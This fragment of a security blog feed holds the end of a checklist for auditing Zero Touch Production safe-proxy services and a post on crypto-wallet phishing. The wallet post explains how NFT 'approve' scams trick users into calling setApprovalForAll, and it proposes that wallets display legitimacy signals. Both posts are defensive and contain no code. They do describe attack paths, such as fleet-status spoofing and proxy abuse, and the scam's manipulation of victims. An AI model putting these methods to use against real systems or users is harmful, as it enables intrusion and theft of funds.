      &lt;li&gt;&lt;a href=&quot;#o-break-glass&quot; id=&quot;markdown-toc-o-break-glass&quot;&gt;O. Break-glass&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusions&quot; id=&quot;markdown-toc-conclusions&quot;&gt;Conclusions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#references&quot; id=&quot;markdown-toc-references&quot;&gt;References&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;sre-ztp&quot;&gt;SRE? ZTP?&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;“Every change in production must be either made by automation, prevalidated by software or made via audited break-glass mechanism.”&lt;/em&gt; – Seth Hettich, Former Production TL, Google&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This terminology was &lt;a href=&quot;https://sre.google/&quot;&gt;popularized&lt;/a&gt; by Google’s DevOps teams and is the golden standard to this day. According to this picture, there are SREs, a selected group of engineers that can exclusively use their SSH production access to act when something breaks. But that access introduces reliability and security risks if they make a mistake or their accounts are compromised. To balance this risk, companies should automate the majority of the production operations while providing routes for manual changes when necessary. This is the basic reasoning behind what was introduced by the “&lt;a href=&quot;https://static.googleusercontent.com/media/sre.google/en//static/pdf/building_secure_and_reliable_systems.pdf&quot;&gt;Zero Touch Production&lt;/a&gt;” pattern.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/ztp-primer-0.jpg&quot; alt=&quot;The way we all feel about SRE&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 350px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h4 id=&quot;safe-proxies-in-production&quot;&gt;Safe Proxies In Production&lt;/h4&gt;

&lt;p&gt;The “Safe Proxy” model refers to the tools that allow authorized persons to access or modify the
state of physical servers, virtual machines, or particular applications. From the &lt;a href=&quot;](https://static.googleusercontent.com/media/sre.google/en//static/pdf/building_secure_and_reliable_systems.pdf)&quot;&gt;original definition&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;At Google, we enforce this behavior by restricting the target system to accept only calls from the proxy through a configuration. This configuration specifies which application-layer remote procedure calls (RPCs) can be executed by which client roles through access control lists (ACLs). After checking the access permissions, the proxy sends the request to be executed via the RPC to the target systems. Typically, each target system has an application-layer program that receives the request and executes it directly on the system. The proxy logs all requests and commands issued by the systems it interacts with.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;the-safety--security-roles-of-safe-proxies&quot;&gt;The safety &amp;amp; security roles of Safe Proxies&lt;/h2&gt;

&lt;p&gt;There are various outage scenarios prevented by ZTP (e.g., typos, cut/paste errors, wrong terminals, underestimating blast radius of impacted machines, etc.). On paper, it’s a great way to protect production from human errors affecting the availability, but it can also help to prevent some forms of malicious access. A typical scenario involves an SRE that is compromised or malicious and tries to do what an attacker would do with privileges. This could include bringing down or attacking other machines, compromising secrets, or scraping user data programmatically. This is why testing these services will become more and more important as the attackers will find them valuable and target them.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/ztp-primer-safeproxy.png&quot; alt=&quot;Generic scheme about Safe Proxies&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 550px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h2 id=&quot;what-does-ztp-look-like-today&quot;&gt;What does ZTP look like today&lt;/h2&gt;

&lt;p&gt;Many companies nowadays need these secure proxy tools to realize their vision, but they are all trying to reinvent the wheel in one way or another. This is because it’s an immature market and no off-the-shelf solutions exist. During the development, the security team is often included in the steering committee but may lack the domain-specific logic to build similar solutions. Another issue is that since usually the main driver is the DevOps team wanting operational safety, availability and integrity are prioritized at the expense of confidentiality. In reality, the ZTP framework development team should collaborate with SRE and security teams throughout the design and implementation phases, ensuring that security and reliability best practices are
woven into the fabric of the framework and not just bolted on at the end.&lt;/p&gt;

&lt;p&gt;Last but not least, these solutions are to this day suffering in their adoption rates and are subjected to lax intepretations (to a point where developers are the ones using these systems to access what they’re allowed to touch in production). These services are particularly juicy for both pentesters and attackers. It’s not an understatement to say that every actor compromising a box in a corporate environment should first look at these services to escalate their access.&lt;/p&gt;

&lt;h2 id=&quot;what-to-look-for-when-auditing-ztp-toolsservices&quot;&gt;What to look for when auditing ZTP tools/services&lt;/h2&gt;

&lt;p&gt;We compiled some of the most common issues we’ve encountered while testing ZTP implementations below:&lt;/p&gt;

&lt;h4 id=&quot;a-web-attack-surface&quot;&gt;A. Web Attack Surface&lt;/h4&gt;

&lt;p&gt;ZTP services often expose a web-based frontend for various purposes such as monitoring, proposing commands or jobs, and checking command output. These frontends are prime targets for classic web security vulnerabilities like Cross-Site Request Forgery (CSRF), Server-Side Request Forgery (SSRF), Insecure Direct Object References (IDORs), XML External Entity (XXE) attacks, and Cross-Origin Resource Sharing (CORS) misconfigurations. If the frontend is also used for command moderation, it presents an even more interesting attack surface.&lt;/p&gt;

&lt;h4 id=&quot;b-hooks&quot;&gt;B. Hooks&lt;/h4&gt;

&lt;p&gt;Webhooks are widely used in ZTP platforms due to their interaction with team members and on-call engineers. These hooks are crucial for the command approval flow ceremony and for monitoring. Attackers may try to manipulate or suppress any Pagerduty, Slack, or Microsoft Teams bot/hook notifications. Issues to look for include content spoofing, webhook authentication weaknesses, and replay attacks.&lt;/p&gt;

&lt;h4 id=&quot;c-safe-centralization&quot;&gt;C. Safe Centralization&lt;/h4&gt;

&lt;p&gt;Safety checks in ZTP platforms are usually evaluated centrally. A portion of the solution is often hosted independently for availability, to evaluate the rules set by the SRE team. It’s essential to assess the security of the core service, as exploiting or polluting its visibility can affect the entire infrastructure’s availability (what if the service is down? who can access this service?).&lt;/p&gt;

&lt;p&gt;In an hypotetical sample attack scenario, if a rule is set to only allow reboots of a certain percentage of the fleet, can an attacker pollute the fleet status and make the hosts look alive? This can be achieved with ping reply spoofing or via MITM in the case of plain HTTP health endpoints. Under these premises, network communications must be Zero Trust too to defend against this.&lt;/p&gt;

&lt;h4 id=&quot;d-insecure-default-templates&quot;&gt;D. Insecure Default Templates&lt;/h4&gt;

&lt;p&gt;The templates for the policy configuration managing the access control for services are usually provided to service owners. These can be a source of errors themselves. Users should be guided to make the right choices by providing templates or automatically generating settings that are secure by default. For a full list of the design strategies presented, see the “Building Secure and Reliable Systems” bible &lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;h4 id=&quot;e-logging&quot;&gt;E. Logging&lt;/h4&gt;

&lt;p&gt;Inconsistent or excessive logging retention of command outputs can be hazardous. Attackers might abuse discrepancies in logging retention to access user data or secrets logged in a given command or its results.&lt;/p&gt;

&lt;h4 id=&quot;f-rate-limiting&quot;&gt;F. Rate-limiting&lt;/h4&gt;

&lt;p&gt;Proper rate-limiting configuration is essential to ensure an attacker cannot change all production “at once” by themselves. The rate limiting configuration should be agreed upon with the team responsible for the mediated services.&lt;/p&gt;

&lt;h4 id=&quot;g-acl-ownership&quot;&gt;G. ACL Ownership&lt;/h4&gt;

&lt;p&gt;Another pitfall is found in what provides the ownership or permission logic for the services. If SREs can edit membership data via the same ZTP service or via other means, an attacker can do the same and bypass the solution entirely.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/ztp-primer-2.png&quot; alt=&quot;ZTP&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h4 id=&quot;h-command-safeguards&quot;&gt;H. Command Safeguards&lt;/h4&gt;

&lt;p&gt;Strict allowlists of parameters and configurations should be defined for commands or jobs that can be run. Similar to “living off the land binaries” (lolbins), if arguments to these commands are not properly vetted, there’s an increased risk of abuse.&lt;/p&gt;

&lt;h4 id=&quot;i-traceability-and-scoping&quot;&gt;I. Traceability and Scoping&lt;/h4&gt;

&lt;p&gt;A reason for the pushed command must always be requested by the user (who, when, what, WHY). Ensuring traceability and scoping in the ZTP platform helps maintain a clear understanding of actions taken and their justifications.&lt;/p&gt;

&lt;h4 id=&quot;j-scoped-access&quot;&gt;J. Scoped Access&lt;/h4&gt;

&lt;p&gt;The ZTP platform should have rules in place to detect not only if the user is authorized to access user data, but also which kind and at what scale. Lack of fine-grained authorization or scoping rules for querying user data increases the risk of abuse.&lt;/p&gt;

&lt;h4 id=&quot;k-different-interfaces-different-requirements&quot;&gt;K. Different Interfaces, Different Requirements&lt;/h4&gt;

&lt;p&gt;ZTP platforms usually have two types of proxy interfaces: Remote Procedure Call (RPC) and Command Line Interface (CLI). The RPC proxy is used to run CLI on behalf of the user/service in production in a controlled way. Since the implementation varies between the two interfaces, looking for discrepancies in the access requirements or logic is crucial.&lt;/p&gt;

&lt;h4 id=&quot;l-service-vs-global-rules&quot;&gt;L. Service vs Global rules&lt;/h4&gt;

&lt;p&gt;The rule evaluation priority (Global over Service-specific) is another area of concern. In general, service rules should not be able to override global rules but only set stricter requirements.&lt;/p&gt;

&lt;h4 id=&quot;m-command-parsing&quot;&gt;M. Command Parsing&lt;/h4&gt;

&lt;p&gt;If an allowlist is enforced, inspect how the command is parsed when an allowlist is created (abstract syntax tree (AST), regex, binary match, etc.).&lt;/p&gt;

&lt;h4 id=&quot;n-race-conditions&quot;&gt;N. Race Conditions&lt;/h4&gt;

&lt;p&gt;All operations should be queued, and a global queue for the commands should be respected. There should be no chance of race conditions if two concurrent operations are issued.&lt;/p&gt;

&lt;h4 id=&quot;o-break-glass&quot;&gt;O. Break-glass&lt;/h4&gt;

&lt;p&gt;In the ZTP pattern, a break-glass mechanism is always available for emergency response. Auditing this mode is essential. Entering it must be loud, justified, alert security, and be heavily logged.
As an additional security measure, the breakglass mechanism for zero trust networking should be available only from specific locations. These locations are the organization’s panic rooms, specific locations with additional physical access controls to offset the increased trust placed in their connectivity.&lt;/p&gt;

&lt;h2 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h2&gt;

&lt;p&gt;As more companies develop and adopt Zero Touch Production platforms, it is crucial to understand and test these services for security vulnerabilities. With an increase in vendors and solutions for Zero Touch Production in the coming years, researching and staying informed about these platforms’ security issues is an excellent opportunity for security professionals.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:2&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Michał Czapiński and Rainer Wolafka from Google Switzerland, “Zero Touch Prod: Towards Safer and More Secure Production Environments”. USENIX (2019). &lt;a href=&quot;https://www.usenix.org/conference/srecon19emea/presentation/czapinski&quot;&gt;Link&lt;/a&gt; / &lt;a href=&quot;https://www.youtube.com/watch?v=v_C0WZtZgb4&amp;amp;t=1262s&quot;&gt;Talk&lt;/a&gt; &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Ward, Rory, and Betsy Beyer. “Beyondcorp: A new approach to enterprise security”, (2014). &lt;a href=&quot;https://research.google/pubs/pub43231/&quot;&gt;Link&lt;/a&gt; &lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Adkins, Heather, et al. ““Building secure and reliable systems: best practices for designing, implementing, and maintaining systems”. O’Reilly Media, (2020). &lt;a href=&quot;https://books.google.it/books?id=9XHnDwAAQBAJ&quot;&gt;Link&lt;/a&gt; &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>The Case For Improving Crypto Wallet Security</title>
   <link href="https://blog.doyensec.com/2023/03/28/wallet-info.html"/>
   <updated>2023-03-28T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2023/03/28/wallet-info</id>
   <content type="html">&lt;h2 id=&quot;anatomy-of-a-modern-day-crypto-scam&quot;&gt;Anatomy Of A Modern Day Crypto Scam&lt;/h2&gt;

&lt;p&gt;A large number of today’s crypto scams involve some sort of &lt;a href=&quot;https://en.wikipedia.org/wiki/Phishing&quot;&gt;phishing&lt;/a&gt; attack, where the user is tricked into visiting a shady/malicious web site and connecting their wallet to it. The main goal is to trick the user into signing a transaction which will ultimately give the attacker control over the user’s tokens.&lt;/p&gt;

&lt;p&gt;Usually, it all starts with a tweet or a post on some Telegram group or Slack channel, where a link is sent advertising either a new &lt;a href=&quot;https://academy.binance.com/en/articles/what-is-yield-farming-in-decentralized-finance-defi&quot;&gt;yield farming&lt;/a&gt; protocol boasting large APYs, or a new NFT project which just started minting. In order to interact with the web site, the user would need to connect their wallet and perform some confirmation or authorization steps.&lt;/p&gt;

&lt;p&gt;Let’s take a look at the common NFT &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;approve&lt;/code&gt; scam. The user is lead to the malicious NFT site, advertising a limited &lt;a href=&quot;https://www.coindesk.com/learn/buying-nfts-during-presales-and-public-mints-things-you-should-know/&quot;&gt;pre-mint&lt;/a&gt; of their new NFT collection. The user is then prompted to connect their wallet and sign a transaction, confirming the mint. However, for some reason, the transaction fails. The same happens on the next attempt. With each failed attempt, the user becomes more and more frustrated, believing the issue causes them to miss out on the mint. Their concentration and focus shifts slightly from paying attention to the transactions, to missing out on a great opportunity.&lt;/p&gt;

&lt;p&gt;At this point, the phishing is in full swing. A few more failed attempts, and the victim bites.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/wallet-scam-txs.webp&quot; alt=&quot;Wallet Phishing&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;(Image borrowed from &lt;a href=&quot;https://coinsbench.com/how-scammers-manipulate-smart-contracts-to-steal-and-how-to-avoid-it-8b4e4a052985&quot;&gt;How scammers manipulate Smart Contracts to steal and how to avoid it&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;The final transaction, instead of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mint&lt;/code&gt; function, calls the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setApprovalForAll&lt;/code&gt;, which essentially will give the malicious actor control over the user’s tokens. The user by this point is in a state where they blindly confirm transactions, hoping that the minting will not close.&lt;/p&gt;

&lt;p&gt;Unfortunately, the last transaction is the one that goes through. Game over for the victim. All the attacker has to do now is act quickly and transfer the tokens away from the user’s wallet before the victim realizes what happened.&lt;/p&gt;

&lt;p&gt;These type of attacks are really common today. A user stumbles on a link to a project offering new opportunities for profits, they connect their wallet, and mistakenly hand over their tokens to malicious actors. While a case can be made for user education, responsibility, and researching a project before interacting with it, we believe that software also has a big part to play.&lt;/p&gt;

&lt;h2 id=&quot;the-case-for-improving-crypto-wallet-security&quot;&gt;The Case For Improving Crypto Wallet Security&lt;/h2&gt;

&lt;p&gt;Nobody can deny that the introduction of both blockchain-based technologies and Web3 have had a massive impact on the world. A lot of them have offered the following common set of features:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;transfer of funds&lt;/li&gt;
  &lt;li&gt;permission-less currency exchange&lt;/li&gt;
  &lt;li&gt;decentralized governance&lt;/li&gt;
  &lt;li&gt;digital collectibles&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Regardless of the tech-stack used to build these platforms, it’s ultimately the users who make the platform. This means that users need a way to interact with their platform of choice. Today, the most user-friendly way of interacting with blockchain-based platforms is by using a &lt;strong&gt;crypto wallet&lt;/strong&gt;. In simple terms, a crypto wallet is a piece of software which facilitates signing of blockchain transactions using the user’s &lt;a href=&quot;https://en.wikipedia.org/wiki/Cryptocurrency_wallet&quot;&gt;private key&lt;/a&gt;. There are multiple types of wallets including software, hardware, custodial, and non-custodial. For the purposes of this post, we will focus on software based wallets.&lt;/p&gt;

&lt;p&gt;Before continuing, let’s take a short detour to Web2. In that world, we can say that platforms (also called services, portals or servers) are primarily built using TCP/IP based technologies. In order for users to be able to interact with them, they use a user-agent, also known as a &lt;strong&gt;web browser&lt;/strong&gt;. With that said, we can make the following parallel to Web3:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Technology&lt;/th&gt;
      &lt;th&gt;Communication Protocol&lt;/th&gt;
      &lt;th&gt;User-Agent&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Web2&lt;/td&gt;
      &lt;td&gt;HTTP/TLS&lt;/td&gt;
      &lt;td&gt;Web Browser&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Web3&lt;/td&gt;
      &lt;td&gt;Blockchain JSON RPC&lt;/td&gt;
      &lt;td&gt;Crypto Wallet&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Web browsers are arguably much, much more complex pieces of software compared to crypto wallets - and with good reason. As the Internet developed, people figured out how to put different media on it and web pages allowed for dynamic and &lt;a href=&quot;https://en.wikipedia.org/wiki/JavaScript&quot;&gt;scriptable&lt;/a&gt; content. Over time, advancements in HTML and CSS technologies changed what and how content could be shown on a single page. The Internet became a place where people went to socialize, find entertainment, and make purchases. Browsers needed to evolve, to support new technological advancements, which in turn increased complexity. As with all software, complexity is the enemy, and complexity is where bugs and vulnerabilities are born. Browsers needed to implement controls to help mitigate web-based vulnerabilities such as &lt;a href=&quot;https://owasp.org/www-community/attacks/Content_Spoofing&quot;&gt;spoofing&lt;/a&gt;, &lt;a href=&quot;https://owasp.org/www-community/attacks/xss/&quot;&gt;XSS&lt;/a&gt;, and &lt;a href=&quot;https://en.wikipedia.org/wiki/DNS_rebinding&quot;&gt;DNS rebinding&lt;/a&gt; while still helping to facilitate secure communication via encrypted &lt;a href=&quot;https://en.wikipedia.org/wiki/Transport_Layer_Security&quot;&gt;TLS&lt;/a&gt; connections.&lt;/p&gt;

&lt;p&gt;Next, lets see what a typical crypto wallet interaction for a normal user might look like.&lt;/p&gt;

&lt;h3 id=&quot;the-current-state-of-things-in-the-web3-world&quot;&gt;The Current State Of Things In The Web3 World&lt;/h3&gt;

&lt;p&gt;Using a Web3 platform today usually means that a user is interacting with a web application (&lt;a href=&quot;https://ethereum.org/en/developers/docs/dapps&quot;&gt;Dapp&lt;/a&gt;), which contains code to interact with the user’s wallet and smart contracts belonging to the platform. The steps in that communication flow generally look like:&lt;/p&gt;

&lt;h4 id=&quot;1-open-the-dapp&quot;&gt;1. Open the Dapp&lt;/h4&gt;

&lt;p&gt;In most cases, the user will navigate their web browser to a URL where the Dapp is hosted (ex. &lt;a href=&quot;https://app.uniswap.org&quot;&gt;Uniswap&lt;/a&gt;). This will load the web page containing the Dapp’s code. Once loaded, the Dapp will try to connect to the user’s wallet.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/wallet-connect00.png&quot; alt=&quot;Dapp and User Wallet&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h4 id=&quot;2-authorizing-the-dapp&quot;&gt;2. Authorizing The Dapp&lt;/h4&gt;

&lt;p&gt;A few of the protections implemented by crypto wallets include requiring authorization before being able to access the user’s accounts and requests for transactions to be signed. This was not the case before &lt;a href=&quot;https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1102.md&quot;&gt;EIP-1102&lt;/a&gt;. However, implementing these features helped keep users anonymous, stop Dapp spam, and provide a way for the user to manage trusted and un-trusted Dapp domains.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/wallet-connect01.png&quot; alt=&quot;Authorizing The Dapp 1&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;If all the previous steps were completed successfully, the user can start using the Dapp.&lt;/p&gt;

&lt;p&gt;When the user decides to perform an action (make a transaction, buy an NFT, stake their tokens, etc.), the user’s wallet will display a popup, asking whether the user confirms the action. The transaction parameters are generated by the Dapp and forwarded to the wallet. If confirmed, the transaction will be signed and published to the blockchain, awaiting confirmation.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/wallet-connect02.png&quot; alt=&quot;Authorizing The Dapp 2&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 4  00px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Besides the authorization popup when initially connecting to the Dapp, the user is not shown much additional information about the application or the platform. This ultimately burdens the user with verifying the legitimacy and trustworthiness of the Dapp and, unfortunately, this requires some degree of technical knowledge often out-of-reach for the majority of common users. While &lt;a href=&quot;https://academy.binance.com/en/glossary/do-your-own-research&quot;&gt;doing your own research&lt;/a&gt;, a common mantra of the Web3 world, is recommended, one misstep can lead to significant loss of funds.&lt;/p&gt;

&lt;p&gt;That being said, let’s now take another detour to Web2 world, and see what a similar interaction looks like.&lt;/p&gt;

&lt;h3 id=&quot;how-does-the-web2-world-handle-similar-situations&quot;&gt;How Does The Web2 World Handle Similar Situations?&lt;/h3&gt;

&lt;p&gt;Like the previous example, we’ll look at what happens when a user wants to use a Web2 application. Let’s say that the user wants to check their email inbox. They’ll start by navigating their browser to the email domain (ex. &lt;a href=&quot;https://mail.google.com&quot;&gt;Gmail&lt;/a&gt;). In the background, the browser performs a TLS handshake, trying to establish a secure connection to Gmail’s servers. This will enable an encrypted channel between the user’s browser and Gmail’s servers, eliminating the possibility of any eavesdropping. If the handshake is successful, an encrypted connection is established and communicated to the user through the browser’s UI.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/browser-lock.png&quot; alt=&quot;Browser Lock&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The secure connection is based on certificates issued for the domain the user is trying to access. A certificate contains a public key used to establish the encrypted connection. Additionally, certificates must be signed by a trusted third-party called a Certificate Authority (CA), giving the issued certificate legitimacy and guaranteeing that it belongs to the domain being accessed.&lt;/p&gt;

&lt;p&gt;But, what happens if that is not the case? What happens when the certificate is for some reason rejected by the browser? Well, in that case a massive red warning is shown, explaining what happened to the user.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/browser-error.jpg&quot; alt=&quot;Browser Certificate Error&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 500px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Such warnings will be shown when a secure connection could not be established, the certificate of the host is not &lt;a href=&quot;https://en.wikipedia.org/wiki/Web_of_trust&quot;&gt;trusted&lt;/a&gt; or if the certificate is expired. The browser also tries to show, in a human-readable manner, as much useful information about the error as possible. At this point, it’s the choice of the user whether they trust the site and want to continue interacting with it. The task of the browser is to inform the user of potential issues.&lt;/p&gt;

&lt;h2 id=&quot;what-can-be-done&quot;&gt;What Can Be Done?&lt;/h2&gt;

&lt;p&gt;Crypto wallets should show the user as much information about the action being performed as possible. The user should see information about the domain/Dapp they are interacting with. Details about the actual transaction’s content, such as what function is being invoked and its parameters should be displayed in a user-readable fashion.&lt;/p&gt;

&lt;p&gt;Comparing both previous examples, we can notice a lack of verification and information being displayed in crypto wallets today. This, then poses the question: what can be done? There exist a number of publicly available indicators for the health and legitimacy of a project. We believe communicating these to the user may be a good step forward in addressing this issue. Let’s go quickly go through them.&lt;/p&gt;

&lt;h4 id=&quot;proof-of-smart-contract-ownership&quot;&gt;Proof Of Smart Contract Ownership&lt;/h4&gt;

&lt;p&gt;It is important to prove that a domain has ownership over the smart contracts with which it interacts. Currently, this mechanism doesn’t seem to exist. However, we think we have a good solution. Similarly to how Apple performs &lt;a href=&quot;https://developer.apple.com/documentation/applepaywebmerchantregistrationapi/preparing_merchant_domains_for_verification&quot;&gt;merchant domain verification&lt;/a&gt;, a simple JSON file or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dapp_file&lt;/code&gt; can be used to verify ownership. The file can be stored on the root of the Dapp’s domain, on the path &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.well-known/dapp_file&lt;/code&gt;. The JSON file can contain the following information:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;address of the smart contract the Dapp is interacting with&lt;/li&gt;
  &lt;li&gt;timestamp showing when the file was generated&lt;/li&gt;
  &lt;li&gt;signature of the content, verifying the validity of the file&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At this point, a reader might say: “How does this show ownership of the contract?”. The key to that is the signature. Namely, the signature is generated by using the private key of the account which deployed the contract. The transparency of the blockchain can be used to get the deployer address, which can then be used to verify the signature (similarly to how Ethereum smart contracts verify signatures on-chain).&lt;/p&gt;

&lt;p&gt;This mechanism enables creating an explicit association between a smart contract and the Dapp. The association can later be used to perform additional verification.&lt;/p&gt;

&lt;h4 id=&quot;domain-registration-records&quot;&gt;Domain Registration Records&lt;/h4&gt;

&lt;p&gt;When a new domain is purchased or registered, a public record is created in a public &lt;a href=&quot;https://www.cloudflare.com/en-gb/learning/dns/glossary/what-is-a-domain-name-registrar/&quot;&gt;registrar&lt;/a&gt;, indicating the domain is owned by someone and is no longer available for purchase. The domain name is used by the Domain Name Service, or DNS, which translates it (ex www.doyensec.com) to a machine-friendly IP address (ex. 34.210.62.107).&lt;/p&gt;

&lt;p&gt;The creation date of a DNS record shows when the Dapp’s domain was initially purchased. So, if a user is trying to interact with an already long established project and runs into a domain which claims to be that project with a recently created domain registration record, it may be a signal of possible fraudulent activities.&lt;/p&gt;

&lt;h4 id=&quot;tls-certificates&quot;&gt;TLS Certificates&lt;/h4&gt;

&lt;p&gt;Creation and expiration dates of TLS certificates can be viewed in a similar fashion as DNS records. However, due to the short duration of certificates issued by services such as &lt;a href=&quot;https://letsencrypt.org/docs/faq/#what-is-the-lifetime-for-let-s-encrypt-certificates-for-how-long-are-they-valid&quot;&gt;Let’s Encrypt&lt;/a&gt;, there is a strong chance that visitors of the Dapp will be shown a relatively new certificate.&lt;/p&gt;

&lt;p&gt;TLS certificates, however, can be viewed as a way of verifying a correct web site setup where the owner took additional steps to allow secure communication between the user and their application.&lt;/p&gt;

&lt;h4 id=&quot;smart-contract-source-code-verification-status&quot;&gt;Smart Contract Source Code Verification Status&lt;/h4&gt;

&lt;p&gt;Published and verified source code allows for audits of the smart contract’s functionality and can allow quick identification of malicious activity.&lt;/p&gt;

&lt;h4 id=&quot;smart-contract-deployment-date&quot;&gt;Smart Contract Deployment Date&lt;/h4&gt;

&lt;p&gt;The smart contract’s deployment date can provide additional information about the project. For example, if attackers set up a fake Uniswap web site, the likelihood of the malicious smart contract being recently deployed is high. If interacting with an already established, legitimate project, such a discrepancy should alarm the user of potential malicious activity.&lt;/p&gt;

&lt;h4 id=&quot;smart-contract-interactions&quot;&gt;Smart Contract Interactions&lt;/h4&gt;

&lt;p&gt;Trustworthiness of a project can be seen as a function of the number of interactions with that project’s smart contracts. A healthy project, with a large user base will likely have a large number of unique interactions with the project’s contracts. A small number of interactions, unique or not, suggest the opposite. While typical of a new project, it can also be an indicator of smart contracts set up to impersonate a legitimate project. Such smart contracts will not have the large user base of the original project, and thus the number of interactions with the project will be low.&lt;/p&gt;

&lt;p&gt;Overall, a large number of unique interactions over a long period of time with a smart contract may be a powerful indicator of a project’s health and the health of its ecosystem.&lt;/p&gt;

&lt;h2 id=&quot;our-suggestion&quot;&gt;Our Suggestion&lt;/h2&gt;

&lt;p&gt;While there are authorization steps implemented when a wallet is connecting to an unknown domain, we think there is space for improvement. The connection and transaction signing process can be further updated to show user-readable information about the domain/Dapp being accessed.&lt;/p&gt;

&lt;p&gt;As a proof-of-concept, we implemented a simple web service &lt;a href=&quot;https://github.com/doyensec/wallet-info&quot;&gt;&lt;strong&gt;https://github.com/doyensec/wallet-info&lt;/strong&gt;&lt;/a&gt;. The service utilizes public information, such as domain registration records, TLS certificate information and data available via Etherscan’s API. The data is retrieved, validated, parsed and returned to the caller.&lt;/p&gt;

&lt;p&gt;The service provides access to the following endpoints:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/host?url=&amp;lt;url&amp;gt;&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/contract?address=&amp;lt;address&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

